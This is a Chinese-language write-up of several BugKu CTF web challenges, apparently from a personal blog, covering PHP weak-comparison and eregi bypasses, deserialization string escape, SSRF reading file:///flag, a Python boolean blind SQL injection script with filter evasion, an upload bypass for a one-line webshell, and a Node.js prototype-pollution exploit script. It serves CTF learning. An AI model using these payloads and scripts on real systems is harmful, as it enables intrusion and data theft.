前言
整理BugKuCTF中部分WEB题WriteUp;
never_give_up
BurpSuite抓包发现
1p.html
文件;URL查看
1p.html
,会跳转到https://www.bugku.com/
,BurpSuite查看返回数据包内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>发现变量words通过URL和Base64编码,进行多次解码操作,最终页面代码如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>优化处理后分析如下代码;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}要得到flag,需要满足以下要求:
- id不能为空和
0
; - 只能通过GET获取id、a、b三个变量;
- a中不能出现
.
; - a为数据流;(@file_get_contents())
- 需要满足条件
$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4
- a数据流的内容为
bugku is a nice plateform!
; -
id==0
; - 变量b的长度大于5;
- 变量b的开头不能为4,并且
111
拼接字符串b的开头需要和1114
正则匹配;
- a数据流的内容为
- id不能为空和
根据要求构造payload如下;
1
2
3
4
5
6
7
8
9
10
11
12POST /hello.php?id=0a&a=php://input&b=*12345 HTTP/1.1
Host: 114.67.246.176:14705
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1628766579; _ga=GA1.1.306268332.1628766580
Upgrade-Insecure-Requests: 1
Content-Length: 26
bugku is a nice plateform!通过POST+PHP伪协议传递变量a;
利用PHP的弱等于特性设置
id=0a
;利用
*
代表PHP正则的任意字符,绕过正则检验;
知识点
**stripos()**函数;
strip() 函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写),返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE;
1
2
3$str = "hello";
echo stripos($str, 'o');
# 返回4PHP伪协议;
PHP类型的网页需要通过GET传递数据流时,可采用
a=php://
PHP伪协议来访问输入输出的数据流,其中php://input
可以访问原始请求数据中的只读流,在请求体中添加数据流内容;PHP弱等于;
PHP有两种比较符号:
- **
===
**在进行比较的时候,会先判断两种字符串的类型是否相等,再比较; - **
==
**在进行比较的时候,会先将字符串转化成相同类型,再比较;
例如:
1
2
3
4
5
6
7
echo ("admin"==0); //true
echo ("1admin"==1); //true
echo ("admin1"==1); //false
echo ("admin1"==0); //true
echo ("0e123456"=="0e4456789"); //true- **
**eregi()**函数;
eregi()函数在一个字符串搜索指定的模式的字符串(不区分大小写),如果匹配成功返回true,否则返回false;
PHP5可以使用,PHP7已经被弃用;
eregi()函数存在截断漏洞,本题可以通过截断漏洞利用;
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组;
1
int eregi(string pattern, string string, [array regs]);
1
2
3
4
5
6
7
8
9
10
$password = "abc";
if (! eregi ("[[:alnum:]]{8,10}", $password)){
print "Invalid password! Passwords must be from 8 - 10 chars";
} else
{
print "Valid password";
}
# 输出 Invalid password! Passwords must be from 8 - 10 chars
newphp
PHP代码审计
1 |
|
- 使用反序列化调用eval类,输出base64编码的
hint.php
的内容; - 可控参数只有
username
和password
; - 需要利用PHP反序列化字符串逃逸特性:
- PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的; - 对类中不存在的属性也会进行反序列化;
- 序列化的字符串在经过过滤函数不正确的处理后可能导致对象注入;
- PHP 在反序列化时,底层代码是以
- 利用该特性添加一个
hint
属性,使该值为hint.php
; - 利用
\0\0\0
对序列化的字符串长度进行缩短; - 绕过evil的wakeup函数;
具体步骤:
获取绕过evil的wakeup函数的序列化内容:
1
2
3
4
5
6
class evil{
public $hint = "hint.php";
}
$a = new evil();
var_dump(str_replace('":1:','":2:',serialize($a)));得到
O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
利用字符串逃逸进行拼接,user类触发的payload为
O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}
,需要替换掉
";s:8:"password";s:3:"1
,共23位;而每次添加一组
\0\0\0
能多吞掉3个字符,需要3的倍数,可以在password
的值上加一个任意字符,即可凑齐24个字符,构造payload为username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
;将上述payload通过POST方式传递,获取Base64编码内容
string(68) "PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo="
解码后,内容如下:
1
2
3
$hint = "index.cgi";
// You can't see me~index.cgi
文件,得到内容如下1
2
3
4
5
6
7
8
9
10
11
12
13{
"args": {
"name": "Bob"
},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.0",
"X-Amzn-Trace-Id": "Root=1-613634ac-1183acf448a560416c61e1fc"
},
"origin": "114.67.246.176",
"url": "http://httpbin.org/get?name=Bob"
}分析上述代码,通过curl访问链接
http://httpbin.org/get?name=Bob
,更改name变量,返回内容有变化,存在SSRF漏洞;通过
file
协议,读取flag文件,payload为?name= file:///flag
,可获取flag;
sql注入
基于布尔的SQL盲注;
打开页面是个登录界面,随便输入admin、password,显示密码错误,输入qwe、qwe显示用户不存在;
根据提示“基于布尔的SQL盲注”,猜测服务端先判断username是否存在,再判断输入的密码是否正确,猜测username存在注入点;
猜测后端验证username的语句为
select password,username from users where username="input"
;如果在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立:
where username='admin' and (substring(database(),1,1)='a')
- 如果返回密码错误,则说明and后的语句成立;
- 如果返回用户名不存在,则说明and后的语句不成立;
但是测试发现,返回值为非法字符,过滤了and;
继续测试,发现过滤了空格、, 、+、=等,但是<、>、^、(、)、ascii、substr等用于盲注的函数都还在;
空格可以使用括号代替,=可以使用<>代替,and可以使用异或运算代替(1^1=0 、 1^0=1 、0^0=0);
编写脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://114.67.246.176:11566/index.php"
r=requests.session()
def password():
result=""
for i in range(40):
flag=0
for j in str_all:
payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
data = {
"username": payload,
"password": "abc"
}
s=r.post(url,data)
print(payload)
if "error" in s.text:
result+=j
flag=1
print("--------------------------------------------------------------")
print("result: ",result)
print("--------------------------------------------------------------")
if flag==0:
break
password()对于payload内容
admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#
-
<>
代替=
,括号代替空格; - mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号。因此,这里用到了ascii()取ascii码值,如果传入一个字符串那么就会取第一个字符的ascii码值,起到了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取;
- 每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算,如果数据库名的第一位的ascii码值不是97,where条件是
username='admin'^1^0
;
-
运行payload,获取admin密码的MD5值,在线解密,即可获得密码,登录获取flag;
文件上传
PHP文件上传绕过
需要绕过内容:
文件后缀
依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)最终发现,php4可以绕过;
修改请求头Content-Type字段为mULtipart/form-data(注意大小写绕过);
修改请求数据的Content-Type字段为image/jpeg;
修改前请求包
1 | POST /index.php HTTP/1.1 |
修改后请求包
1 | POST /index.php HTTP/1.1 |
上传一句话木马,连接即可;
关于Content-Type参考https://www.cnblogs.com/52fhy/p/5436673.html
sodirty
Node.js原型链污染;
扫描目录,发现
www.zip
文件, 解压缩,打开index.js
得到源代码发现**set-value
**,判断存在js原型链污染,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;分析代码发现:
- 可以通过
/getflag
路由获取flag; - 需要传参
key
、password
两个参数; - 需要用户的
age<=79
; - 需要满足
Admin[key]==password
,其中passwod
可以控制,而Admin[key]
未知;
- 可以通过
age
变量已经存在,可以通过POST传参覆盖;对于Admin对象,只有一个属性 password,要求key携带的属性不是password,则需要指定的属性,可以根据两者共同的父类object设置。关于原型链泄露,子类调用找不到的属性时,会默认去一直向上找父类可以继承的属性,通过
__proto__.passwd
更改challenger
和Admin
共同的父类object
,增加一个属性passwd
,指定值,然后把key
设置成passwd
,password
设置为object
赋的passwd
值,就可以绕过判断,得到flag。1
2
3const Admin = {
"password":process.env.password?process.env.password:"password"
}编写payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27# payload.py
import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session()
# URI
url = "http://114.67.246.176:10038/"
reg = url + "reg"
update = url + "update"
getflag = url + "getflag"
# 登录
r=s.get(reg)
print(r.text)
# POST传参,修改age
data1={"attrkey":"age","attrval":"78"}
r=s.post(update, data=data1)
print(r.text)
# __proto__.passwd更改challenger和Admin共同的父类object,增加属性passwd,设置值为abc
data2={"attrkey":"__proto__.passwd","attrval":"abc"}
r=s.post(update, data=data2)
print(r.text)
# 将key设置成passwd,password设置给object赋的passwd值abc
data3={"password":"abc","key":"passwd"}
r=s.post(getflag, data=data3)
print(r.text)